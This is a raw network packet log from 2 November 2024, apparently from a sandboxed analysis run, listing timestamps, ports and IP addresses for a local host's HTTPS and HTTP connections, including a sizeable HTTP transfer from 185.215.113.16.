Nov 2, 2024 07:16:25.117082119 CET	443	63892	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.118196964 CET	63892	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.118335962 CET	63892	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.118350029 CET	443	63892	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.125566006 CET	443	63888	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.125638008 CET	443	63888	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.125690937 CET	63888	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.125945091 CET	443	63885	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.125968933 CET	443	63885	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.126013041 CET	63885	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.126024008 CET	443	63885	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.126085043 CET	443	63885	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.126117945 CET	63885	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.127123117 CET	63885	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.127130985 CET	443	63885	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.127139091 CET	63885	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.127142906 CET	443	63885	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.127739906 CET	63888	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.127739906 CET	63888	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.127753019 CET	443	63888	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.127762079 CET	443	63888	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.144254923 CET	63893	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.144269943 CET	443	63893	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.144892931 CET	63893	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.145456076 CET	63894	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.145469904 CET	443	63894	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.145571947 CET	63894	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.145854950 CET	63893	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.145862103 CET	443	63893	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.145930052 CET	63894	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.145937920 CET	443	63894	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.574151993 CET	63856	80	192.168.2.4	185.215.113.43
Nov 2, 2024 07:16:25.574554920 CET	63895	80	192.168.2.4	185.215.113.43
Nov 2, 2024 07:16:25.578953981 CET	63896	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:25.578980923 CET	443	63896	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:25.579268932 CET	80	63856	185.215.113.43	192.168.2.4
Nov 2, 2024 07:16:25.579332113 CET	63856	80	192.168.2.4	185.215.113.43
Nov 2, 2024 07:16:25.579355001 CET	63896	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:25.579689980 CET	80	63895	185.215.113.43	192.168.2.4
Nov 2, 2024 07:16:25.579735994 CET	63895	80	192.168.2.4	185.215.113.43
Nov 2, 2024 07:16:25.582851887 CET	63896	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:25.582865953 CET	443	63896	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:25.582989931 CET	63895	80	192.168.2.4	185.215.113.43
Nov 2, 2024 07:16:25.587795973 CET	80	63895	185.215.113.43	192.168.2.4
Nov 2, 2024 07:16:25.827023983 CET	443	63890	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.829181910 CET	63890	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.829195976 CET	443	63890	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.829873085 CET	63890	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.829878092 CET	443	63890	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.863257885 CET	443	63891	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.866766930 CET	63891	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.866784096 CET	443	63891	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.867152929 CET	63891	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.867156982 CET	443	63891	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.877777100 CET	443	63892	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.878221989 CET	63892	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.878236055 CET	443	63892	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.878660917 CET	63892	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.878667116 CET	443	63892	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.942507982 CET	443	63893	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.949877024 CET	63893	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.949894905 CET	443	63893	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.950253010 CET	63893	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.950258017 CET	443	63893	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.958074093 CET	443	63890	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.958234072 CET	443	63890	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.958478928 CET	63890	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.961829901 CET	63890	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.961831093 CET	63890	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.961844921 CET	443	63890	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.961853981 CET	443	63890	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.971213102 CET	63897	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.971236944 CET	443	63897	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:25.971295118 CET	63897	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.971431017 CET	63897	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:25.971441984 CET	443	63897	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.236372948 CET	443	63891	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.236418962 CET	443	63891	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.236459970 CET	63891	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:26.236462116 CET	443	63892	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.236485004 CET	443	63892	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.236512899 CET	443	63892	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.236516953 CET	443	63893	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.236529112 CET	63892	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:26.236560106 CET	63892	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:26.236566067 CET	443	63893	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.236658096 CET	63893	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:26.239291906 CET	63891	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:26.239304066 CET	443	63891	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.239353895 CET	63891	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:26.239358902 CET	443	63891	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.239408016 CET	443	63894	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.239413977 CET	443	63896	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:26.239490986 CET	63896	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:26.243752003 CET	63894	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:26.243763924 CET	443	63894	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.244235039 CET	63894	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:26.244240046 CET	443	63894	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.265033960 CET	63892	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:26.265055895 CET	443	63892	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.288547039 CET	63893	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:26.288547039 CET	63893	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:26.288561106 CET	443	63893	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.288568974 CET	443	63893	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.302609921 CET	63896	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:26.302627087 CET	443	63896	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:26.302860975 CET	443	63896	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:26.304672956 CET	63896	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:26.304817915 CET	63896	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:26.304850101 CET	443	63896	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:26.304920912 CET	63896	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:26.304929972 CET	443	63896	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:26.371649981 CET	443	63894	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.371835947 CET	443	63894	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.371877909 CET	443	63894	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.371892929 CET	63894	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:26.371942043 CET	63894	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:26.387717962 CET	63894	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:26.387734890 CET	443	63894	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.387743950 CET	63894	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:26.387749910 CET	443	63894	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.520318985 CET	80	63895	185.215.113.43	192.168.2.4
Nov 2, 2024 07:16:26.522216082 CET	63895	80	192.168.2.4	185.215.113.43
Nov 2, 2024 07:16:26.735359907 CET	443	63897	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.811382055 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:26.811614037 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:26.813833952 CET	63897	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:26.813852072 CET	443	63897	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.814251900 CET	63897	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:26.814256907 CET	443	63897	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.816282034 CET	63899	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:26.816297054 CET	443	63899	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.816356897 CET	63899	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:26.816471100 CET	63899	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:26.816479921 CET	443	63899	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.816553116 CET	80	63862	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:26.816603899 CET	63862	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:26.816860914 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:26.816903114 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:26.818995953 CET	63900	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:26.819071054 CET	443	63900	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.819152117 CET	63900	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:26.819185019 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:26.819721937 CET	63900	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:26.819757938 CET	443	63900	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.820559978 CET	63901	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:26.820642948 CET	443	63901	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.820797920 CET	63901	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:26.820913076 CET	63901	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:26.820950985 CET	443	63901	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.821516037 CET	63902	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:26.821538925 CET	443	63902	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.821599960 CET	63902	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:26.823502064 CET	63902	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:26.823524952 CET	443	63902	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:26.823956966 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:26.993391991 CET	443	63896	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:26.993484974 CET	443	63896	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:26.993594885 CET	63896	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:27.007605076 CET	63896	443	192.168.2.4	188.114.96.3
Nov 2, 2024 07:16:27.007622957 CET	443	63896	188.114.96.3	192.168.2.4
Nov 2, 2024 07:16:27.545084000 CET	443	63900	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.545938015 CET	63900	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.545973063 CET	443	63900	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.546380997 CET	63900	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.546395063 CET	443	63900	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.557776928 CET	443	63897	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.557840109 CET	443	63897	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.557893038 CET	63897	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.558315039 CET	63897	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.558331013 CET	443	63897	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.558341980 CET	63897	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.558346987 CET	443	63897	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.562401056 CET	443	63902	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.566891909 CET	63902	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.566910982 CET	443	63902	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.567301989 CET	63902	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.567327976 CET	443	63902	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.577388048 CET	63903	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.577434063 CET	443	63903	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.577507973 CET	63903	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.577754974 CET	63903	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.577775002 CET	443	63903	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.578166962 CET	443	63901	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.579247952 CET	63901	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.579260111 CET	443	63901	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.579623938 CET	63901	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.579628944 CET	443	63901	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.582782030 CET	443	63899	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.585948944 CET	63899	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.585961103 CET	443	63899	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.586334944 CET	63899	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.586338043 CET	443	63899	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.673871040 CET	443	63900	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.673914909 CET	443	63900	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.673958063 CET	63900	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.674088955 CET	63900	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.674120903 CET	443	63900	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.677469969 CET	63904	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.677498102 CET	443	63904	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.677602053 CET	63904	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.677728891 CET	63904	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.677742958 CET	443	63904	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.694120884 CET	443	63902	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.694212914 CET	443	63902	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.694267035 CET	63902	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.694463968 CET	63902	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.694463968 CET	63902	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.694485903 CET	443	63902	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.694506884 CET	443	63902	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.702157974 CET	63905	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.702183962 CET	443	63905	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.702255011 CET	63905	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.702956915 CET	63905	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.702969074 CET	443	63905	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.712001085 CET	443	63901	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.712054014 CET	443	63901	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.712105036 CET	63901	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.712214947 CET	63901	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.712214947 CET	63901	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.712256908 CET	443	63901	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.712285042 CET	443	63901	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.714184046 CET	63906	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.714200974 CET	443	63906	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.714298010 CET	63906	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.714899063 CET	63906	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.714910030 CET	443	63906	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.730312109 CET	443	63899	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.730340004 CET	443	63899	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.730371952 CET	443	63899	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.730468035 CET	63899	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.732748032 CET	63899	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.732752085 CET	443	63899	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.732825041 CET	63899	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.732829094 CET	443	63899	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.750989914 CET	63907	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.750998974 CET	443	63907	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.751043081 CET	63907	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.756506920 CET	63907	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:27.756516933 CET	443	63907	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:27.760615110 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.760656118 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.760665894 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.760725975 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:27.760726929 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.760725975 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:27.760725975 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:27.760740042 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.760757923 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.760770082 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.760780096 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:27.760782957 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.760796070 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.760812044 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:27.760838985 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:27.760842085 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.760910034 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:27.765804052 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.765849113 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:27.765858889 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.765877962 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.765887022 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.765899897 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:27.765918970 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:27.765929937 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:27.923093081 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.923106909 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.923118114 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.923141956 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:27.923168898 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:27.923341036 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.923353910 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.923365116 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.923377037 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.923388958 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.923389912 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:27.923398972 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:27.923432112 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:27.923945904 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.923994064 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:27.924168110 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.924180031 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.924196005 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.924209118 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.924213886 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:27.924225092 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:27.924246073 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:27.924258947 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:27.924518108 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.924540997 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.924560070 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.924571037 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.924575090 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:27.924582005 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.924598932 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:27.924634933 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:27.925193071 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.925235033 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:27.925235987 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.925251007 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.925281048 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:27.925292015 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:27.925293922 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.925307989 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.925318956 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.925338984 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:27.925367117 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:27.928060055 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.928100109 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:27.928183079 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:27.928225040 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.085597038 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.085614920 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.085622072 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.085627079 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.085633039 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.085637093 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.085688114 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.085726023 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.085730076 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.085850000 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.085875034 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.085886955 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.085896969 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.085907936 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.085921049 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.085923910 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.085943937 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.085954905 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.085964918 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.085967064 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.085979939 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.085999966 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.086021900 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.086422920 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.086462975 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.086473942 CET	80	63898	185.215.113.16	192.168.2.4
Nov 2, 2024 07:16:28.086482048 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.086502075 CET	63898	80	192.168.2.4	185.215.113.16
Nov 2, 2024 07:16:28.086512089 CET	80	63898	185.215.113.16	192.168.2.4
